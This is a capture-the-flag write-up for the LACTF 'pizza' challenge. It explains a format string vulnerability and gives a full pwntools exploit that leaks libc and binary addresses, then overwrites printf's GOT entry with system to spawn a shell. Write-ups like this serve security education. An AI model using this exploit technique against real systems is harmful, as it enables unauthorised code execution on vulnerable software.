# Pwn - Format String (Lactf - pizza) Write up for [Lactf - pizza](https://github.com/BraveCattle/ctf/tree/main/lactf/pizza) ## Overview [pizza](https://github.com/BraveCattle/ctf/blob/main/lactf/pizza/pizza) ![pizza1.png](https://s2.loli.net/2024/03/09/Au9lFZnVT5pbLJW.png) ## Analysis ![pizza2.png](https://s2.loli.net/2024/03/09/IO6RUm7as1vYzqo.png) We can control the contents of ```toppings[i]```, and thus there is **format string attack**. Introduction on format string attack could be found at [ctf-wiki](https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/) ## Solution ### Find the libc and elf addresses in stack First we can view the stack (after printing out the inputs we just entered) and find the addresses related to the elf and libc, in order to get the libc base address and elf base address. ![pizza4.png](https://s2.loli.net/2024/03/09/14U8jVeKLDQYGIR.png) Notice that ``0x7efe01d1524a`` is in libc section and ``0x564aed3ee189`` is the ``main()`` address, we can use these 2 values (the values at the corresponding positions in the stack) to obtain the libc base address and elf base address. ![pizza.png](https://s2.loli.net/2024/03/09/1nbjvzU4gkpFuwq.png) ### Determine the format string to leak the libc and elf addresses ``0x7efe01d1524a`` lies at the 42nd (0x29+1) position in the stack. When using ``%k$p`` to print the k-th element in the ``printf`` function, the k-th argument after the format string (``%k$p``) will be printed. The arguments are (for x86 architecture): - 64-bit: rdi (format string), rsi, rdx, rcx, r8, r9, 1st value on stack, ..., n-th value on stack - 32-bit: edi (format string), esi, edx, ecx, 1st value on stack, ..., n-th value on stack For example, if we call ```c printf("%4$p") ``` in a x86-64 ELF, then the value printted will be the value stored in register ``r9`` Therefore ``0x7efe01d1524a`` can be printed by format string ``%47$p`` (also you can try different ``%k$p`` and inspect the value on the stack and find the correct format string). Then by subtracting the offset, we can obtain the libc base address and elf base address. ### Construct the format string to obtain shell Apply the format string again to write the ```got``` of ``printf`` to ``system``, then when calling ``printf("/bin/sh")``, we can get the shell. The construction of format string to achieve arbitrary write to arbitrary position is again illustrated in [ctf-wiki](https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_13). The basic idea is to utilize format string ``%n``, which writes the number of characters that have been successfully output to the variable pointed to by the corresponding integer pointer parameter. The payload construction can be done by ``fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')`` in pwntools. The arguments are: - offset (int) – the first formatter’s offset you control - writes (dict) – dict with addr, value {addr: value, addr2: value2} - numbwritten (int) – number of byte already written by the printf function - write_size (str) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n) ### Source code ```python from pwn import * # context.log_level = 'debug' # r = remote('chall.lac.tf', 31134) r = process('./pizza_patched') elf = ELF('./pizza_patched') libc = ELF('./libc.so.6') context.binary = elf def custom(data): r.sendlineafter(b"> ", b"12") r.sendlineafter(b"topping: ", data) custom(b'%47$p,%49$p') custom(b'0') custom(b'0') r.recvuntil(b'Here are the toppings that you chose:\n') recv = r.recvline() libc_addr, elf_addr = recv.decode().strip('\n').split(',') libc_addr, elf_addr = int(libc_addr, 0), int(elf_addr, 0) libc.address = libc_addr-(0x7efe01d1524a-0x7efe01cee000) elf.address = elf_addr -(0x564aed3ee189-0x564aed3ed000) log.info(f'{hex(libc.address) = }, {libc.address = }') log.info(f'{hex(elf.address) = } , {elf.address = }') r.sendlineafter(b'(y/n): ', b'y') fmt_str = fmtstr_payload(6, {elf.got.printf: libc.symbols.system}, write_size='short') assert len(fmt_str) < 100 custom(fmt_str) custom(b'/bin/sh') custom(b'0') r.interactive() ```